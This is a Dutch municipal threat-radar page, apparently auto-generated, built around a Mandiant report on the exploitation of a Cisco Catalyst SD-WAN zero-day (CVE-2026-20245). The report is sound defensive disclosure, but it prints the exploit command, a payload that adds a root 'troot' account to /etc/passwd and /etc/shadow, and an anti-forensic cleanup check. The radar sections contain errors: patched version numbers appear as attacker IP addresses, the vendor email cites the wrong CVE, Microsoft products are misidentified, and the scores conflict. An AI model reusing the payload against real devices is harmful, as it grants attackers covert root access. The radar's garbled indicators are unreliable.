Written by: Chester Sng, Pete Boonyakarn, Logeswaran Nadarajan, Lukasz Lamparski Introduction In early 2026, Mandiant identified a threat actor targeting SD-WAN infrastructure at a service provider. After gaining initial access, the threat actor exploited a zero-day vulnerability ( CVE-2026-20245 ) in Cisco Catalyst SD-WAN to escalate privileges from a compromised administrative account to root-level access. The vulnerability stems from the device’s file upload feature lacking the ability to properly filter malicious data. Throughout the intrusion, to maintain operational security and avoid de
Exploiteerbaarheid: geen exploit bekend. Blootstelling: niet internet-facing / geen bekende blootstelling. Gemeentelijke relevantie: geen match met de gemeentelijke context. Impact: alleen technische impact. Bronvertrouwen: middel.
Scorecomponenten
geen exploit bekend
niet internet-facing / geen bekende blootstelling
geen match met de gemeentelijke context
alleen technische impact
beperkt bevestigd
geen mitigatie bekend
Geen automatische bestuurlijke escalatie — operationeel op te volgen.
Prioriteit: monitoren
Aanbevolen reactietijd: monitoren
Monitoren (42/100) — monitoren. Bepalend: gemeentelijke relevantie (83/100) en technische ernst (42/100). Houd dit in de gaten; directe actie is nu niet nodig. Deze prioritering is regelgebaseerd en navolgbaar; weeg de aannames en onzekerheden mee voor de eigen gemeentelijke omgeving.
midden — De technische ernst is gemiddeld: impact is mogelijk, maar niet vanzelfsprekend ernstig.
laag — Er zijn geen concrete aanwijzingen voor misbruik.
hoog — Dit raakt technologie of processen die bij vrijwel elke Nederlandse gemeente in gebruik zijn.
midden — Monitoren volstaat; er is geen directe actie nodig.
Positieve factoren
De dreiging raakt identity-, Microsoft 365- of Entra-technologie die vrijwel elke gemeente gebruikt.
Bron: Technologieherkenning in titel, samenvatting en labels
De dreiging raakt remote access of VPN (zoals Citrix, Fortinet, Ivanti of Palo Alto): vaak direct vanaf internet bereikbaar.
Bron: Technologieherkenning in titel, samenvatting en labels
Remote access en VPN zijn direct vanaf internet bereikbaar en een geliefd doelwit; dit verhoogt de urgentie.
Bron: Technologieherkenning in titel, samenvatting en labels
Negatieve factoren
De zekerheid is 'likely'; een onbevestigd signaal verlaagt de urgentie tot het is geverifieerd.
Bron: Zekerheidsinschatting van de radar
Er is (nog) geen misbruik, exploit of EPSS-signaal; het risico is vooralsnog theoretisch, wat de urgentie verlaagt.
Bron: Exploit-, KEV- en EPSS-signalen uit de verrijking
Aannames
Onzekerheden
Deze prioritering is regelgebaseerd en navolgbaar. Een CISO kan deze onderbouwing gebruiken richting directie of ICT-management; stem de opvolging af op de eigen gemeentelijke omgeving.
11 concrete acties verdeeld over 6 rol(len). Aanbevolen reactietijd: monitoren.
Taken voor CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
Laat bevestigen dat de patchstatus en mitigerende maatregelen voor de remote-accessvoorziening op orde zijn.
Bewijs vereist: Bevestiging van het beheerteam of de leverancier.
CISO
Laat vaststellen of de getroffen component of het proces binnen de gemeente in gebruik is.
Bewijs vereist: Bevestiging in/uit gebruik door ICT-beheer.
Wijs per actie een eigenaar en deadline toe en bewaak dat de acties worden afgerond.
Laat bevestigen dat de patchstatus en mitigerende maatregelen voor de remote-accessvoorziening op orde zijn.
Bewijs vereist: Bevestiging van het beheerteam of de leverancier.
ISO / patchmanagement
Controleer of een patch of mitigatie beschikbaar is en bepaal de deadline voor opvolging.
Bewijs vereist: Patch- of mitigatieoverzicht met versienummers.
SOC
Let op afwijkende of mislukte aanmeldingen en sessies op VPN of remote access.
Let op verdachte aanmeldingen, tokenmisbruik en wijzigingen in rechten.
ICT-beheer
Breng in kaart welke systemen, applicaties of accounts de kwetsbare component bevatten.
Bewijs vereist: Lijst van geraakte systemen uit de CMDB of inventaris.
Beperk waar mogelijk de internettoegang tot de remote-accessvoorziening tot de patch is uitgevoerd.
Controleer MFA, conditional access en rechten op de getroffen identity- of Microsoft 365-omgeving.
Bewijs vereist: Vastgelegde configuratiecontrole.
Functioneel beheer
Controleer of de geraakte applicatie of koppeling extra aandacht nodig heeft.
Proceseigenaar
Beoordeel wat de dreiging betekent voor de continuiteit van het geraakte proces.
De acties zijn regelgebaseerd gegenereerd. Stem ze af op de eigen gemeentelijke omgeving en wijs per actie een eigenaar en deadline toe.
Relevante logbronnen
MITRE ATT&CK — tactieken
MITRE ATT&CK — technieken
Huntingvragen
KQL-huntingqueries (Microsoft Sentinel)
Defender-waarschuwingen rond endpointcompromittatie
Toont waarschuwingen van Microsoft Defender for Endpoint met een hoge of gemiddelde ernst.
// Defender-waarschuwingen rond endpointcompromittatie
SecurityAlert
| where TimeGenerated > ago(7d)
| where ProductName == "Microsoft Defender for Endpoint"
| where AlertSeverity in ("High", "Medium")
| project TimeGenerated, AlertName, AlertSeverity, CompromisedEntity,
Description
| order by TimeGenerated descFalse positives: Beheertooling en pentests kunnen legitieme waarschuwingen genereren.
Aanmeldingen vanuit onbekende landen
Toont geslaagde aanmeldingen vanuit landen buiten het verwachte werkgebied.
// Aanmeldingen vanuit onverwachte landen
let bekendeLanden = dynamic(["NL", "BE", "DE"]);
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == 0
| where isnotempty(Location) and Location !in (bekendeLanden)
| summarize Aanmeldingen = count() by UserPrincipalName, Location
| order by Aanmeldingen descFalse positives: Vakanties, grensregio's en cloud-egress kunnen onverwachte landen tonen.
Impossible travel-risicodetecties
Toont aanmeldingen die Entra ID Protection markeert als 'impossible travel' of onbekende kenmerken - mogelijk overgenomen sessies.
// Impossible travel-risicodetecties (Entra ID Protection)
AADUserRiskEvents
| where TimeGenerated > ago(7d)
| where RiskEventType in ("impossibleTravel", "unfamiliarFeatures",
"anonymizedIPAddress")
| project TimeGenerated, UserPrincipalName, RiskEventType, RiskLevel,
IpAddress, Location
| order by TimeGenerated descFalse positives: VPN's, mobiele netwerken en cloud-egress kunnen een legitieme aanmelding als onmogelijke reis laten ogen.
Indicators of compromise
| Type | Waarde | Betrouwbaarheid | TLP |
|---|---|---|---|
| Bestandshash | b82936f37648518425c7d3cf9e09eaffa41d7cdb3840f6a40287e3a108880f7b | Middel | TLP:CLEAR |
| IP-adres | 20.9.9.2 | Middel | TLP:CLEAR |
| IP-adres | 20.12.7.2 | Middel | TLP:CLEAR |
| IP-adres | 20.15.4.5 | Middel | TLP:CLEAR |
| IP-adres | 20.15.5.3 | Middel | TLP:CLEAR |
| IP-adres | 20.18.3.1 | Middel | TLP:CLEAR |
| IP-adres | 26.1.1.2 | Middel | TLP:CLEAR |
False-positive-aandachtspunten
Kwetsbaarheidsscans en pentests veroorzaken legitiem verdacht verkeer. Stem af met de changekalender.
Deze informatie is uitsluitend defensief: detectie en hunting. De KQL-queries zijn read-only en bedoeld voor Microsoft Sentinel.
Vragenlijst
E-mailonderwerp
Uitvraag kwetsbaarheid CVE-2026-20127 — reactie gevraagd
E-mailtekst
Geachte heer/mevrouw, Naar aanleiding van een beveiligingsmelding met kenmerk CVE-2026-20127 doet onze gemeente een uitvraag bij u als leverancier. Deze uitvraag dient ter verificatie en feitenvaststelling: wij willen vaststellen of en in welke mate de aan onze gemeente geleverde dienstverlening wordt geraakt. Het betreft mogelijk het product of onderdeel "VPN". Wij verzoeken u de onderstaande vragen volledig en onderbouwd te beantwoorden en uw reactie binnen tien (10) werkdagen na ontvangst van dit bericht schriftelijk aan te leveren bij de informatiebeveiligingsfunctie van onze gemeente. Zijn bepaalde gegevens nog niet beschikbaar, dan ontvangen wij graag een tussentijdse terugkoppeling. Vragen: 1. Gebruikt u de kwetsbare component of het geraakte product? 2. Welke versies zijn bij u in gebruik? 3. Is de kwetsbaarheid van toepassing op de dienstverlening aan onze gemeente? 4. Is de kwetsbaarheid inmiddels gepatcht? 5. Zo ja, op welke datum is de patch doorgevoerd? 6. Zo nee, welke mitigerende maatregelen zijn genomen? 7. Is er actief misbruik van de kwetsbaarheid geconstateerd? 8. Is er logging of forensisch onderzoek uitgevoerd? 9. Is er sprake van een risico op een datalek? 10. Wanneer verwacht u een definitieve oplossing door te voeren? 11. Welke restrisico's blijven na de oplossing bestaan? 12. Welke communicatie mogen wij richting onze interne stakeholders gebruiken? Deze uitvraag is bedoeld om de feiten vast te stellen en gezamenlijk tot een passende opvolging te komen. Wij stellen uw tijdige medewerking op prijs. Met vriendelijke groet, [Naam] Namens de informatiebeveiligingsfunctie Gemeente [Gemeente]
Vul vóór verzending de afzender en gemeentenaam in. De tekst is zakelijk en gericht op feitenvaststelling; pas hem aan op de eigen situatie.
Deze dreiging raakt de onderstaande governance-thema's. Met de aanbevolen bewijsstukken kunt u aantonen dat het signaal is opgevolgd — bruikbaar voor BIO2, NIS2/CBW, ISMS en de ENSIA-verantwoording.
Deze kwetsbaarheid valt onder het beheer van technische kwetsbaarheden: tijdig signaleren, beoordelen en patchen.
Aanbevolen bewijs: Patchbesluit, deadline en patchbewijs uit de patchcase.
De prioritering en gemeentelijke relevantie vormen een navolgbare risico-inschatting.
Aanbevolen bewijs: Score-uitleg (scoring 2.0); bij niet patchen een vastgelegd, geaccepteerd restrisico.
Het tijdig opvolgen van bekende kwetsbaarheden hoort bij de zorgplicht voor passende beveiligingsmaatregelen.
Aanbevolen bewijs: Aantoonbare patch- of mitigatieopvolging binnen een redelijke termijn.
De dreiging en de opvolging ervan horen thuis in de periodieke rapportage aan het management en de directie.
Aanbevolen bewijs: Vermelding in de CISO- of directierapportage informatiebeveiliging.
De radar legt de beoordeling, prioritering en opvolging navolgbaar vast.
Aanbevolen bewijs: Scoringonderbouwing, actiekaart en statusgeschiedenis uit de radar.
Het patchen of mitigeren is de uitvoering (Do) van het informatiebeveiligingsproces.
Aanbevolen bewijs: Uitgevoerde changes en doorgevoerde mitigerende maatregelen.
Aantoonbare opvolging draagt bij aan de jaarlijkse ENSIA-verantwoording over de BIO.
Aanbevolen bewijs: Overzicht van opgevolgde dreigingen voor de ENSIA-zelfevaluatie.
Written by: Chester Sng, Pete Boonyakarn, Logeswaran Nadarajan, Lukasz Lamparski Introduction In early 2026, Mandiant identified a threat actor targeting SD-WAN infrastructure at a service provider. After gaining initial access, the threat actor exploited a zero-day vulnerability ( CVE-2026-20245 ) in Cisco Catalyst SD-WAN to escalate privileges from a compromised administrative account to root-level access. The vulnerability stems from the device’s file upload feature lacking the ability to properly filter malicious data. Throughout the intrusion, to maintain operational security and avoid detection, the threat actor consistently employed anti-forensic techniques, selectively deleting and restoring system configuration files that were modified during their activities. Key Observations Rogue Peering and Credential Manipulation : In March 2026, a threat actor established initial access via unauthorized peering connections to facilitate Secure Shell (SSH) access. The threat actor used that access to manipulate default account passwords to evade detection . Exploitation of CVE-2026-20245 : Subsequently, the attacker leveraged a zero-day privilege escalation vulnerability (now tracked as CVE-2026-20245) in Cisco Catalyst SD-WAN Manager to gain root-level access via a malicious CSV upload. Extensive Anti-Forensic Cleanup : The threat actor deleted malicious files, reverted configuration changes, and executed a validation script to ensure indicators are purged . What is SD-WAN? Traditional Wide Area Networks (WANs) rely heavily on physical, proprietary hardware routers to direct traffic. This model is often rigid, complex to scale, and struggles to handle the demands of modern cloud computing. Software-Defined Wide Area Network (SD-WAN) solves this by decoupling the network’s management and control logic from the underlying physical hardware. Instead of configuring individual routers one by one, a centralized software controller is used to orchestrate the entire network from a single dashboard. SD-WANs are typically used by highly distributed organizations, such as banks, retail corporations, technology services, and healthcare providers, to securely connect multiple remote branch locations directly to central cloud services . What is Peering? Within an SD-WAN fabric, peering is the logical process of establishing a trusted, authenticated relationship between distinct network components, such as edge routers, regional hubs, and central controllers. Before any data can be securely transmitted across the network fabric, these devices must perform a digital handshake. During the peering phase, devices mutually authenticate each other using cryptographic certificates. Once identity and trust are verified, they exchange underlying routing tables and automatically build secure tunnels to facilitate safe data transport. Additional Vulnerabilities in Cisco Catalyst SD-WAN Controllers CVE-2026-20127 and CVE-2026-20182 are critical vulnerabilities recently disclosed by Cisco that affect the peering authentication mechanism for Cisco Catalyst SD-WAN controllers. Both vulnerabilities could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges. Intrusion Campaign Overview Initial Access Via Rogue Peering Connections From late 2025 to January 2026, Mandiant observed multiple unauthorized peering connections to the victim’s SD-WAN Manager devices. It is possible that these connections occurred due to the exploitation of CVE-2026-20127 or CVE-2026-20182 as the vulnerabilities were not disclosed, and patches were not available during this period . Beginning in March 2026, further unauthorized peering connections were seen on a device running a software version unaffected by CVE-2026-20127. However, Cisco confirmed that these connections did not leverage CVE-2026-20182 either, and could instead be using stolen certificate material from a previous compromise of the same device. It is unclear if the same threat actor was responsible for the late 2025 to January 2026 and March 2026 rogue peering activity. Successful Authentications By Altering The Admin Account Password In March 2026, the threat actor established new rogue peer connections and successfully authenticated to the SD-WAN Manager device via SSH using the vmanage-admin account on the same victim devices. Once authenticated via SSH, the threat actor executed commands to change the password of the default admin account. The threat actor authenticated directly to the SD-WAN Manager web application interface using the admin account and exfiltrated configurations of the SD-WAN fabric. [2026-03-07T01:31:48.464Z]"POST /j_security_check HTTP/1.1" 200 - 31 0 1288 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080" [2026-03-07T01:31:49.017Z] "GET /dataservice/system/device/vedges HTTP/1.1" 200 - 0 10114 127 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080" [2026-03-07T01:31:50.017Z] "GET /dataservice/system/device/controllers HTTP/1.1" 200 - 0 15815 100 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080" [2026-03-07T01:31:51.925Z] "GET /dataservice/template/config/attached/<Device ID> HTTP/1.1" 200 - 0 3732 18 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080" [2026-03-07T01:31:52.493Z] "GET /dataservice/template/config/running/<Device ID> HTTP/1.1" 400 - 0 134 19 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080" <...> Figure 1: Threat actor authentication and configuration extraction The threat actor subsequently used their active vmanage-admin session to change the password of the admin account back to its original state before terminating their active session. This activity was likely performed to reduce the probability of detection by an administrator trying to log into the device during day-to-day operations . The vmanage-admin and admin accounts are default accounts on Cisco Catalyst SD-WAN controllers that have different privileges, but neither possesses root shell access . Exploitation of CVE-2026-20245 to Escalate Privileges Mandiant observed that in April 2026, after establishing an SSH session with the admin account, the threat actor exploited CVE-2026-20245 by executing the following command to upload a file named evil_tenant.csv : request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0 Figure 2: Malicious file upload CVE-2026-20245 , a vulnerability reported to Cisco by Mandiant, exists in the command-line interface (CLI) of Cisco Catalyst SD-WAN Controllers that could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system. The evil_tenant.csv file contains the exploit payload. The following code block (Figure 3) shows a snippet of the exploit which attempts to append malicious entries to the system's /etc/passwd and /etc/shadow files. if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ] && grep -q '<redacted>' /usr/share/viptela/vbond_vsmart_tenant_list 2>/dev/null; then echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state; elif [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then echo present > /home/admin/.orig_vbond_vsmart_tenant_list.state; cp -a /usr/share/viptela/vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list; else echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state; fi; cp -a /etc/passwd /home/admin/.orig_passwd; cp -a /etc/shadow /home/admin/.orig_shadow; grep -q '^troot:' /etc/passwd || echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd; grep -q '^troot:' /etc/shadow || echo 'troot:<redacted>:19000:0:99999:7:::' >> /etc/shadow Figure 3: Appending malicious entries Through this command, the threat actor achieved the following: Backed up the original vbond_vsmart_tenant_list configuration file, which would have been overwritten by the contents of evil_tenant.csv during the exploit. This backup was likely created to allow the actor to restore the file later, ensuring the SD-WAN Manager device did not load an invalid configuration that might alert administrators. Created backups of the original /etc/passwd and /etc/shadow files. Created a user account named troot with full root privileges. Mandiant subsequently observed the threat actor accessing this new troot account from the admin account via the su (substitute user) command. Anti-Forensic Techniques Mandiant identified that the threat actor deleted all files they created, including evil_tenant.csv , and restored any system configurations they modified. These deletion and modifications were done to minimize their forensic footprint . In addition to this, Mandiant also observed execution of a validation script, which checks if indicators of the threat actor's activities are removed. for f in /home/admin/evil_tenant.csv /home/admin/.orig_vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list.state /home/admin/.orig_passwd /home/admin/.orig_shadow; do if [ -e "$f" ]; then echo PRESENT:$f; ls -ld "$f"; else echo ABSENT:$f; fi; done; if grep -q '^troot:' /etc/passwd; then echo PRESENT:/etc/passwd:troot; else echo ABSENT:/etc/passwd:troot; fi; if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then echo PRESENT:/usr/share/viptela/vbond_vsmart_tenant_list; ls -ld /usr/share/viptela/vbond_vsmart_tenant_list; else echo ABSENT:/usr/share/viptela/vbond_vsmart_tenant_list; fi Figure 4: Validation script This script checks for the presence of the following: Threat actor-created files in /home/admin. troot account in the passwd and shadow files. vbond_vsmart_tenant_list , and if it exists, inspect information about the file. This is likely to check if the original file was restored. Outlook and Implications This campaign underscores the living off the edge paradigm, where threat actors prioritize the compromise of network appliances to bypass traditional security perimeters. As organizations increasingly adopt software-defined networking, the orchestrators managing these environments become primary targets. These devices offer a black box environment for threat actors: they often lack the telemetry required for deep forensic analysis, and their role as a central control plane provides a stealthy platform for persistent, wide-scale access to internal enterprise traffic. For state-sponsored actors, the ability to exploit zero-day vulnerabilities in these platforms remains a premier vector for long-term strategic intelligence collection. Google Threat Intelligence Group (GTIG) has closely tracked and reported on increased zero-day exploitation of edge devices over the past several years. Remediation and Hardening Perform IOC Sweep / Threat Hunting: Collect logs and diagnostic data from SD-WAN devices by executing request admin-tech command on all control-plane components. Scan these collections for known IOCs and execute threat hunts focused on the TTPs identified in the Detections and Hunting section of this blog post. If true positive hits are observed, perform a full investigation. Manual Remediation Support: As per Cisco’s guidance, any confirmed indicators of compromise or suspicious activity should be forwarded to Cisco Technical Assistance Center (TAC) for comprehensive review and remediation assistance. Prioritize Immediate Patching and Upgrades: Organizations must prioritize upgrading Cisco Catalyst SD-WAN Manager to fixed software releases, specifically versions 20.9.9.2, 20.12.7.2, 20.15.4.5, 20.15.5.3, 20.18.3.1, 26.1.1.2, or later, to remediate CVE-2026-20245 . Implement Cisco Catalyst SD-WAN Hardening and Logging Guidelines : Organizations should follow the comprehensive security best practices and configuration standards detailed in the Cisco Catalyst SD-WAN Hardening Guide . This guide provides a robust defense-in-depth framework for securing all SD-WAN components including the management, control, and data planes against unauthorized access. Indicators of Compromise (IOCs) To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users. Network Indicators Description Indicator IP address connecting as rogue device and exploiting CVE-2026-20245 126.51.108[.]152 IP address connecting as rogue device 76.92.245[.]217 IP address connecting as rogue device 207.190.37[.]94 IP address connecting as rogue device 23.245.7[.]178 IP address connecting as rogue device 153.186.231[.]233 IP address connecting as rogue device 167.179.79[.]189 IP address connecting as rogue device 45.32.38[.]160 IP address connecting as rogue device 209.137.225[.]101 File Indicators Due to the threat actor's extensive anti-forensic cleanup, several files associated with this intrusion were overwritten or deleted. However, forensic remnants of the malicious CSV payload were recovered. Filename Description SHA256 /home/admin/.orig_vbond_vsmart_tenant_list Backup configuration file Not recovered /home/admin/.orig_vbond_vsmart_tenant_list.state State file Not recovered /home/admin/.orig_passwd Backup password file Not recovered /home/admin/.orig_shadow Backup password file Not recovered /home/admin/evil_tenant.csv Remnant of malicious CSV file exploiting CVE-2026-20245 b82936f37648518425c7d3cf9e09eaffa41d7cdb3840f6a40287e3a108880f7b Detections and Hunting Mandiant encourages organizations to conduct proactive threat hunts focused on the tactics, techniques, and procedures (TTPs) outlined in this report to identify activity that may otherwise blend into routine operations. Because certain indicators of compromises may mirror legitimate administrative actions, it is critical to assess these observations against the established network posture to minimize false positives. As per Cisco’s guidance, any suspicious activity or confirmed IOCs should be forwarded to the Cisco TAC for comprehensive review and assistance. Unauthorized SSH Connections as vmanage-admin Monitor authentication logs ( /var/log/auth.log ) for logins originating from unexpected external IP addresses using the vmanage-admin user account. Jan 01 07:58:00 vManage sshd[20766]: Accepted publickey for vmanage-admin from <Threat Actor IP> port 48373 ssh2: RSA SHA256:<redacted> Jan 01 08:01:00 vManage sshd[25178]: Accepted keyboard-interactive/pam for admin from <Threat Actor IP> port 60552 ssh2 Figure 5: SSH from unexpected origins Suspicious Password Change Events Audit password changes in /var/log/auth.log targeting the admin account in quick succession, particularly where credentials are set and subsequently reverted. Jan 01 08:00:00 vManage usermod[12345]: change user 'admin' password Jan 01 08:15:00 vManage usermod[12345]: change user 'admin' password Figure 6: Password changes Defenders should also inspect rollback files present within /var/confd/rollback/ for configuration delta commits targeting user passwords: # Created by: vmanage-admin # Date: 2026-01-01 08:00:00 # Via: netconf # Type: delta # Label: # Comment: # No: 10000 # TransactionId: 12345678 # Hostname: vManage system { aaa { user admin { password <redacted>; } } } Figure 7: Rollback files Suspicious Execution of the su Command Audit terminal command history and system logs ( /var/log/auth.log ) for successful switch user ( su ) executions from the admin account to unauthorized accounts (e.g., troot ). Jan 01 08:03:00 vManage su[24289]: Successful su for troot by admin Figure 8: su logins Exploitation of CVE-2026-20245 Monitor script logs ( /var/log/scripts.log ) for execution anomalies involving unauthorized execution of vconfd_script_upload_tenant_list.sh . Jan 01 08:01:05 vManage vScript: Tenant list upload per vsmart serial number: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/evil_tenant.csv vpn 0 Jan 01 08:01:05 vManage vScript: uploading tenant list via VPN 0 true Jan 01 08:01:05 vManage vScript: Copying ... /home/admin/evil_tenant.csv via VPN 0 Jan 01 08:01:05 vManage vScript: Successfully loaded the tenant placement file Figure 9: Execution anomalies Defenders can also query active command execution history using show history within the Viptela CLI for the specific administrative upload commands: 01-01 08:01:05 -- request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0 Figure 10: Command execution Google Security Operations (SecOps) Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names: Privileged Account Append to Passwd Database Grep Privileged User Account Discovery in Passwd or Shadow Hidden Backup of Sensitive System Files Suspicious Copy from Usr Share to User Hidden Directory Acknowledgements Mandiant would like to thank the Cisco Product Security Incident Response Team (PSIRT) for their collaboration and partnership throughout the coordinated disclosure process.
Categorie 'vulnerability': er is een CVE aan de dreiging gekoppeld. Severity 'medium' bepaald op basis van: trefwoord 'zero-day'. Confidence 'likely': afgeleid van de betrouwbaarheidsscore van de bron (0.88). Herkende leveranciers/producten: Cisco, Microsoft, Exchange.
Deze dreiging scoort 50/100 voor de gemeentelijke relevantie. Meegewogen: getroffen internetgerichte technologie, veelgebruikte gemeentelijke technologie en impact op identity of Microsoft 365. De score is verlaagd vanwege een vooralsnog uitsluitend theoretische kwetsbaarheid. Geraakte processen: Microsoft 365 en identity, Netwerk en infrastructuur, Back-up en herstel.
Bestuurlijke duiding
Deze dreiging is relevant voor de gemeente. Een onverholpen kwetsbaarheid in gemeentelijke systemen vergroot de kans op misbruik. De impact is beheersbaar mits de geadviseerde maatregelen tijdig worden opgevolgd. Laat de CISO de voortgang bewaken en escaleer richting directie zodra nieuwe signalen daartoe aanleiding geven.
Geraakte processen
Geraakte technologie
Betrokken rollen
CISO · ISO · SOC · ICT beheer
Concrete stappen voor ICT-beheer en het securityteam.
Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.
Deel geen vertrouwelijke of persoonsgegevens in dit formulier. Beschrijf je melding algemeen; gevoelige details horen niet op een publieke radar thuis.